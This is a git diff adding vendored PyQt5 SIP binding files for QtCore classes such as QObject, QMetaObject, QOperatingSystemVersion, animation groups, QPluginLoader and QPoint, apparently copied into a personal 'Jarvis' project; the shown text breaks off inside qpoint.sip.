{sipName_QSortFilterProxyModel, &sipType_QSortFilterProxyModel, -1, 38}, + #if QT_VERSION >= 0x050d00 + {sipName_QTransposeProxyModel, &sipType_QTransposeProxyModel, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + {sipName_QFinalState, &sipType_QFinalState, -1, 40}, + {sipName_QHistoryState, &sipType_QHistoryState, -1, 41}, + {sipName_QState, &sipType_QState, 42, -1}, + {sipName_QStateMachine, &sipType_QStateMachine, -1, -1}, + {sipName_QEventTransition, &sipType_QEventTransition, -1, 44}, + {sipName_QSignalTransition, &sipType_QSignalTransition, -1, -1}, + {sipName_QBuffer, &sipType_QBuffer, -1, 46}, + {sipName_QFileDevice, &sipType_QFileDevice, 48, 47}, + #if !defined(QT_NO_PROCESS) + {sipName_QProcess, &sipType_QProcess, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + {sipName_QFile, &sipType_QFile, 50, 49}, + #if QT_VERSION >= 0x050100 + {sipName_QSaveFile, &sipType_QSaveFile, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + {sipName_QTemporaryFile, &sipType_QTemporaryFile, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +%GCTraverseCode + // Traverse any saved slots we might be connected to. + sipRes = qpycore_visitSlotProxies(sipCpp, sipVisit, sipArg); +%End + +%GCClearCode + // Clear any saved slots we might be connected to. + sipRes = qpycore_clearSlotProxies(sipCpp); +%End + +public: + static const QMetaObject staticMetaObject { +%GetCode + sipPy = qpycore_qobject_staticmetaobject(sipPyType); +%End + + }; + const QMetaObject *metaObject() const; + explicit QObject(QObject *parent /TransferThis/ = 0); + virtual ~QObject(); + void pyqtConfigure(SIP_PYOBJECT) /NoArgParser/; +%Docstring +QObject.pyqtConfigure(...) + +Each keyword argument is either the name of a Qt property or a Qt signal. +For properties the property is set to the given value which should be of an +appropriate type. +For signals the signal is connected to the given value which should be a +callable. +%End + +%MethodCode + return qpycore_pyqtconfigure(sipSelf, sipArgs, sipKwds); +%End + + SIP_PYOBJECT __getattr__(const char *name /Encoding="UTF-8"/) const /NoTypeHint/; +%MethodCode + sipRes = qpycore_qobject_getattr(sipCpp, sipSelf, a0); +%End + + virtual bool event(QEvent *); + virtual bool eventFilter(QObject *, QEvent *); + QString tr(const char *sourceText /Encoding="UTF-8"/, const char *disambiguation = 0, int n = -1) const; +%MethodCode + // Note that tr() is really a static method. We pretend it isn't so we can use + // self to get hold of the class name. + + sipRes = new QString(QCoreApplication::translate(sipPyTypeName(Py_TYPE(sipSelf)), a0, a1, a2)); +%End + + SIP_PYOBJECT findChild(SIP_PYTYPE type, const QString &name = QString(), Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="QObject"/; +%MethodCode + sipRes = qtcore_FindChild(sipCpp, qtcore_type_to_tuple(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYOBJECT findChild(SIP_PYTUPLE types /TypeHintValue="()"/, const QString &name = QString(), Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="QObject"/; +%MethodCode + sipRes = qtcore_FindChild(sipCpp, qtcore_check_tuple_types(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYLIST findChildren(SIP_PYTYPE type, const QString &name = QString(), Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="List[QObject]"/; +%MethodCode + sipRes = qtcore_FindChildren(sipCpp, qtcore_type_to_tuple(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYLIST findChildren(SIP_PYTUPLE types /TypeHintValue="()"/, const QString &name = QString(), Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="List[QObject]"/; +%MethodCode + sipRes = qtcore_FindChildren(sipCpp, qtcore_check_tuple_types(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYLIST findChildren(SIP_PYTYPE type, const QRegExp ®Exp, Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="List[QObject]"/; +%MethodCode + sipRes = qtcore_FindChildren(sipCpp, qtcore_type_to_tuple(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYLIST findChildren(SIP_PYTUPLE types /TypeHintValue="()"/, const QRegExp ®Exp, Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="List[QObject]"/; +%MethodCode + sipRes = qtcore_FindChildren(sipCpp, qtcore_check_tuple_types(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYLIST findChildren(SIP_PYTYPE type, const QRegularExpression &re, Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="List[QObject]"/; +%MethodCode + sipRes = qtcore_FindChildren(sipCpp, qtcore_type_to_tuple(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + SIP_PYLIST findChildren(SIP_PYTUPLE types /TypeHintValue="()"/, const QRegularExpression &re, Qt::FindChildOptions options = Qt::FindChildrenRecursively) const /TypeHint="List[QObject]"/; +%MethodCode + sipRes = qtcore_FindChildren(sipCpp, qtcore_check_tuple_types(a0), *a1, *a2); + + if (!sipRes) + sipIsErr = 1; +%End + + QString objectName() const; + void setObjectName(const QString &name); + bool isWidgetType() const; + bool isWindowType() const; + bool signalsBlocked() const; + bool blockSignals(bool b); + QThread *thread() const; + void moveToThread(QThread *thread); + int startTimer(int interval, Qt::TimerType timerType = Qt::CoarseTimer); + void killTimer(int id); + const QObjectList &children() const; + void setParent(QObject * /TransferThis/); + void installEventFilter(QObject *); + void removeEventFilter(QObject *); +%If (Qt_5_9_0 -) + void dumpObjectInfo() const; +%End +%If (- Qt_5_9_0) + void dumpObjectInfo(); +%End +%If (Qt_5_9_0 -) + void dumpObjectTree() const; +%End +%If (- Qt_5_9_0) + void dumpObjectTree(); +%End + QList dynamicPropertyNames() const; + bool setProperty(const char *name, const QVariant &value); + QVariant property(const char *name) const; + +signals: + void destroyed(QObject *object = 0); + void objectNameChanged(const QString &objectName); + +public: + QObject *parent() const; + bool inherits(const char *classname) const; + +public slots: + void deleteLater() /TransferThis/; + +protected: + QObject *sender() const /ReleaseGIL/; +%MethodCode + // sender() must be called without the GIL to avoid possible deadlocks between + // the GIL and Qt's internal thread data mutex. + + Py_BEGIN_ALLOW_THREADS + + #if defined(SIP_PROTECTED_IS_PUBLIC) + sipRes = sipCpp->sender(); + #else + sipRes = sipCpp->sipProtect_sender(); + #endif + + Py_END_ALLOW_THREADS + + if (!sipRes) + { + typedef QObject *(*qtcore_qobject_sender_t)(); + + static qtcore_qobject_sender_t qtcore_qobject_sender = 0; + + if (!qtcore_qobject_sender) + { + qtcore_qobject_sender = (qtcore_qobject_sender_t)sipImportSymbol("qtcore_qobject_sender"); + Q_ASSERT(qtcore_qobject_sender); + } + + sipRes = qtcore_qobject_sender(); + } +%End + + int receivers(SIP_PYOBJECT signal /TypeHint="PYQT_SIGNAL"/) const [int (const char *signal)]; +%MethodCode + // We need to handle the signal object. Import the helper if it hasn't already + // been done. + typedef sipErrorState (*pyqt5_get_signal_signature_t)(PyObject *, const QObject *, const QByteArray &); + + static pyqt5_get_signal_signature_t pyqt5_get_signal_signature = 0; + + if (!pyqt5_get_signal_signature) + { + pyqt5_get_signal_signature = (pyqt5_get_signal_signature_t)sipImportSymbol("pyqt5_get_signal_signature"); + Q_ASSERT(pyqt5_get_signal_signature); + } + + QByteArray signal_signature; + + #if defined(SIP_PROTECTED_IS_PUBLIC) + if ((sipError = pyqt5_get_signal_signature(a0, sipCpp, signal_signature)) == sipErrorNone) + { + sipRes = sipCpp->receivers(signal_signature.constData()); + } + #else + if ((sipError = pyqt5_get_signal_signature(a0, static_cast(sipCpp), signal_signature)) == sipErrorNone) + { + sipRes = sipCpp->sipProtect_receivers(signal_signature.constData()); + } + #endif + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual void timerEvent(QTimerEvent *); + virtual void childEvent(QChildEvent *); + virtual void customEvent(QEvent *); + virtual void connectNotify(const QMetaMethod &signal); + virtual void disconnectNotify(const QMetaMethod &signal); + int senderSignalIndex() const; + bool isSignalConnected(const QMetaMethod &signal) const; + +public: + static bool disconnect(const QMetaObject::Connection &); + SIP_PYOBJECT disconnect() const /TypeHint=""/; +%MethodCode + sipRes = qpycore_qobject_disconnect(sipCpp); +%End + +private: + QObject(const QObject &); +}; + +SIP_PYOBJECT Q_CLASSINFO(const char *name, const char *value) /TypeHint=""/; +%MethodCode + sipRes = qpycore_ClassInfo(a0, a1); +%End + +SIP_PYOBJECT Q_ENUM(SIP_PYOBJECT /TypeHint="Union[type, enum.Enum]"/) /TypeHint=""/; +%MethodCode + sipRes = qpycore_Enum(a0); +%End + +SIP_PYOBJECT Q_ENUMS(...) /TypeHint=""/; +%MethodCode + sipRes = qpycore_Enums(a0); +%End + +SIP_PYOBJECT Q_FLAG(SIP_PYOBJECT /TypeHint="Union[type, enum.Enum]"/) /TypeHint=""/; +%MethodCode + sipRes = qpycore_Flag(a0); +%End + +SIP_PYOBJECT Q_FLAGS(...) /TypeHint=""/; +%MethodCode + sipRes = qpycore_Flags(a0); +%End + +SIP_PYOBJECT QT_TR_NOOP(SIP_PYOBJECT /TypeHint="str"/) /TypeHint="str"/; +%MethodCode + Py_INCREF(a0); + sipRes = a0; +%End + +SIP_PYOBJECT QT_TR_NOOP_UTF8(SIP_PYOBJECT /TypeHint="str"/) /TypeHint="str"/; +%MethodCode + Py_INCREF(a0); + sipRes = a0; +%End + +SIP_PYOBJECT QT_TRANSLATE_NOOP(SIP_PYOBJECT /TypeHint="str"/, SIP_PYOBJECT /TypeHint="str"/) /TypeHint="str"/; +%MethodCode + Py_INCREF(a1); + sipRes = a1; +%End + +SIP_PYOBJECT pyqtSlot(... types, const char *name = 0, const char *result = 0) /NoArgParser, TypeHint="Callable[..., Optional[str]]"/; +%Docstring +@pyqtSlot(*types, name: Optional[str], result: Optional[str]) + +This is a decorator applied to Python methods of a QObject that marks them +as Qt slots. +The non-keyword arguments are the types of the slot arguments and each may +be a Python type object or a string specifying a C++ type. +name is the name of the slot and defaults to the name of the method. +result is type of the value returned by the slot. +%End + +%MethodCode + return qpycore_pyqtslot(sipArgs, sipKwds); +%End + +%If (Qt_5_3_0 -) + +class QSignalBlocker +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSignalBlocker(QObject *o); + ~QSignalBlocker(); + void reblock(); + void unblock(); + SIP_PYOBJECT __enter__(); +%MethodCode + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + sipCpp->unblock(); +%End + +private: + QSignalBlocker(const QSignalBlocker &); +}; + +%End + +%ModuleHeaderCode +#include "qpycore_api.h" +%End + +%ModuleCode +// Disable the (supposedly) compulsory parts of the Qt support API. +#define sipQtCreateUniversalSlot 0 +#define sipQtDestroyUniversalSlot 0 +#define sipQtFindSlot 0 +#define sipQtConnect 0 +#define sipQtDisconnect 0 +#define sipQtSameSignalSlotName 0 +#define sipQtFindSipslot 0 +%End + +%PreInitialisationCode +#if defined(Q_OS_DARWIN) + // This works around a problem (possibly a clash between Qt and Python) + // began with Qt v5.11 that causes missed paint events. Only set the + // variable if it hasn't already been given a value. + if (qgetenv("QT_MAC_WANTS_LAYER").isNull()) + qputenv("QT_MAC_WANTS_LAYER", "1"); +#endif +%End + +%InitialisationCode +qpycore_init(); +%End + +%PostInitialisationCode +qpycore_post_init(sipModuleDict); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobjectcleanuphandler.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobjectcleanuphandler.sip new file mode 100644 index 00000000..58f6ba06 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobjectcleanuphandler.sip @@ -0,0 +1,36 @@ +// qobjectcleanuphandler.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QObjectCleanupHandler : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QObjectCleanupHandler(); + virtual ~QObjectCleanupHandler(); + QObject *add(QObject *object); + void remove(QObject *object); + bool isEmpty() const; + void clear(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobjectdefs.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobjectdefs.sip new file mode 100644 index 00000000..731ad90e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobjectdefs.sip @@ -0,0 +1,188 @@ +// qobjectdefs.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +struct QMetaObject +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// Raise an exception when QMetaObject::invokeMethod() returns false. +static void qtcore_invokeMethod_exception() +{ + PyErr_SetString(PyExc_RuntimeError, "QMetaObject.invokeMethod() call failed"); +} +%End + + const char *className() const; + const QMetaObject *superClass() const; + QMetaProperty userProperty() const; + int methodOffset() const; + int enumeratorOffset() const; + int propertyOffset() const; + int classInfoOffset() const; + int methodCount() const; + int enumeratorCount() const; + int propertyCount() const; + int classInfoCount() const; + int indexOfMethod(const char *method) const; + int indexOfSignal(const char *signal) const; + int indexOfSlot(const char *slot) const; + int indexOfEnumerator(const char *name) const; + int indexOfProperty(const char *name) const; + int indexOfClassInfo(const char *name) const; + QMetaMethod method(int index) const; + QMetaEnum enumerator(int index) const; + QMetaProperty property(int index) const; + QMetaClassInfo classInfo(int index) const; + static bool checkConnectArgs(const char *signal, const char *method); + static void connectSlotsByName(QObject *o /GetWrapper/); +%MethodCode + qpycore_qmetaobject_connectslotsbyname(a0, a0Wrapper); + + // Make sure there is no (benign) Python exception. + PyErr_Clear(); +%End + + static QByteArray normalizedSignature(const char *method); + static QByteArray normalizedType(const char *type); + static SIP_PYOBJECT invokeMethod(QObject *obj, const char *member, Qt::ConnectionType type, QGenericReturnArgument ret /GetWrapper/, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)); +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = QMetaObject::invokeMethod(a0,a1,a2,*a3,*a4,*a5,*a6,*a7,*a8,*a9,*a10,*a11,*a12,*a13); + Py_END_ALLOW_THREADS + + if (ok) + sipRes = qpycore_ReturnValue(a3Wrapper); + else + qtcore_invokeMethod_exception(); +%End + + static SIP_PYOBJECT invokeMethod(QObject *obj, const char *member, QGenericReturnArgument ret /GetWrapper/, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)); +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = QMetaObject::invokeMethod(a0,a1,*a2,*a3,*a4,*a5,*a6,*a7,*a8,*a9,*a10,*a11,*a12); + Py_END_ALLOW_THREADS + + if (ok) + sipRes = qpycore_ReturnValue(a2Wrapper); + else + qtcore_invokeMethod_exception(); +%End + + static SIP_PYOBJECT invokeMethod(QObject *obj, const char *member, Qt::ConnectionType type, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)); +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = QMetaObject::invokeMethod(a0,a1,a2,*a3,*a4,*a5,*a6,*a7,*a8,*a9,*a10,*a11,*a12); + Py_END_ALLOW_THREADS + + if (ok) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + qtcore_invokeMethod_exception(); +%End + + static SIP_PYOBJECT invokeMethod(QObject *obj, const char *member, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)); +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = QMetaObject::invokeMethod(a0,a1,*a2,*a3,*a4,*a5,*a6,*a7,*a8,*a9,*a10,*a11); + Py_END_ALLOW_THREADS + + if (ok) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + qtcore_invokeMethod_exception(); +%End + + int constructorCount() const; + int indexOfConstructor(const char *constructor) const; + QMetaMethod constructor(int index) const; + static bool checkConnectArgs(const QMetaMethod &signal, const QMetaMethod &method); +%If (Qt_5_7_0 -) + bool inherits(const QMetaObject *metaObject) const; +%End + + class Connection + { +%TypeHeaderCode +#include +%End + + public: + Connection(); + Connection(const QMetaObject::Connection &other); + ~Connection(); + }; +}; + +// The support for Q_ARG(), Q_RETURN_ARG() and supporting classes. +class QGenericArgument /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + ~QGenericArgument(); +}; + + +SIP_PYOBJECT Q_ARG(SIP_PYOBJECT type, SIP_PYOBJECT data) /TypeHint="QGenericArgument"/; +%MethodCode + sipRes = qpycore_ArgumentFactory(a0, a1); +%End + + +class QGenericReturnArgument /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + ~QGenericReturnArgument(); +}; + + +SIP_PYOBJECT Q_RETURN_ARG(SIP_PYOBJECT type) /TypeHint="QGenericReturnArgument"/; +%MethodCode + sipRes = qpycore_ReturnFactory(a0); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qoperatingsystemversion.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qoperatingsystemversion.sip new file mode 100644 index 00000000..36afaf51 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qoperatingsystemversion.sip @@ -0,0 +1,103 @@ +// qoperatingsystemversion.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_9_0 -) + +class QOperatingSystemVersion +{ +%TypeHeaderCode +#include +%End + +public: + enum OSType + { + Unknown, + Windows, + MacOS, + IOS, + TvOS, + WatchOS, + Android, + }; + + static const QOperatingSystemVersion Windows7; + static const QOperatingSystemVersion Windows8; + static const QOperatingSystemVersion Windows8_1; + static const QOperatingSystemVersion Windows10; + static const QOperatingSystemVersion OSXMavericks; + static const QOperatingSystemVersion OSXYosemite; + static const QOperatingSystemVersion OSXElCapitan; + static const QOperatingSystemVersion MacOSSierra; +%If (Qt_5_9_1 -) + static const QOperatingSystemVersion MacOSHighSierra; +%End +%If (Qt_5_11_2 -) + static const QOperatingSystemVersion MacOSMojave; +%End +%If (Qt_5_14_0 -) + static const QOperatingSystemVersion MacOSCatalina; +%End + static const QOperatingSystemVersion AndroidJellyBean; + static const QOperatingSystemVersion AndroidJellyBean_MR1; + static const QOperatingSystemVersion AndroidJellyBean_MR2; + static const QOperatingSystemVersion AndroidKitKat; + static const QOperatingSystemVersion AndroidLollipop; + static const QOperatingSystemVersion AndroidLollipop_MR1; + static const QOperatingSystemVersion AndroidMarshmallow; + static const QOperatingSystemVersion AndroidNougat; + static const QOperatingSystemVersion AndroidNougat_MR1; +%If (Qt_5_9_2 -) + static const QOperatingSystemVersion AndroidOreo; +%End +%If (- Qt_5_9_2) + QOperatingSystemVersion(const QOperatingSystemVersion &other); +%End + QOperatingSystemVersion(QOperatingSystemVersion::OSType osType, int vmajor, int vminor = -1, int vmicro = -1); + static QOperatingSystemVersion current(); +%If (Qt_5_10_0 -) + static QOperatingSystemVersion::OSType currentType(); +%End + int majorVersion() const; + int minorVersion() const; + int microVersion() const; + int segmentCount() const; + QOperatingSystemVersion::OSType type() const; + QString name() const; + +private: + QOperatingSystemVersion(); +}; + +%End +%If (Qt_5_9_0 -) +bool operator>(const QOperatingSystemVersion &lhs, const QOperatingSystemVersion &rhs); +%End +%If (Qt_5_9_0 -) +bool operator>=(const QOperatingSystemVersion &lhs, const QOperatingSystemVersion &rhs); +%End +%If (Qt_5_9_0 -) +bool operator<(const QOperatingSystemVersion &lhs, const QOperatingSystemVersion &rhs); +%End +%If (Qt_5_9_0 -) +bool operator<=(const QOperatingSystemVersion &lhs, const QOperatingSystemVersion &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qparallelanimationgroup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qparallelanimationgroup.sip new file mode 100644 index 00000000..9ca007a0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qparallelanimationgroup.sip @@ -0,0 +1,39 @@ +// qparallelanimationgroup.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QParallelAnimationGroup : QAnimationGroup +{ +%TypeHeaderCode +#include +%End + +public: + QParallelAnimationGroup(QObject *parent /TransferThis/ = 0); + virtual ~QParallelAnimationGroup(); + virtual int duration() const; + +protected: + virtual bool event(QEvent *event); + virtual void updateCurrentTime(int currentTime); + virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); + virtual void updateDirection(QAbstractAnimation::Direction direction); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpauseanimation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpauseanimation.sip new file mode 100644 index 00000000..af743f20 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpauseanimation.sip @@ -0,0 +1,39 @@ +// qpauseanimation.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPauseAnimation : QAbstractAnimation +{ +%TypeHeaderCode +#include +%End + +public: + QPauseAnimation(QObject *parent /TransferThis/ = 0); + QPauseAnimation(int msecs, QObject *parent /TransferThis/ = 0); + virtual ~QPauseAnimation(); + virtual int duration() const; + void setDuration(int msecs); + +protected: + virtual bool event(QEvent *e); + virtual void updateCurrentTime(int); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpluginloader.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpluginloader.sip new file mode 100644 index 00000000..386111fb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpluginloader.sip @@ -0,0 +1,43 @@ +// qpluginloader.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPluginLoader : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPluginLoader(QObject *parent /TransferThis/ = 0); + QPluginLoader(const QString &fileName, QObject *parent /TransferThis/ = 0); + virtual ~QPluginLoader(); + QObject *instance(); + static QObjectList staticInstances(); + bool load(); + bool unload(); + bool isLoaded() const; + void setFileName(const QString &fileName); + QString fileName() const; + QString errorString() const; + void setLoadHints(QLibrary::LoadHints loadHints); + QLibrary::LoadHints loadHints() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpoint.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpoint.sip new file mode 100644 index 00000000..c177a076 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpoint.sip @@ -0,0 +1,209 @@ +// qpoint.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPoint +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"ii", sipCpp->x(), sipCpp->y()); +%End + +public: + int manhattanLength() const; + QPoint(); + QPoint(int xpos, int ypos); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QPoint()"); + #else + sipRes = 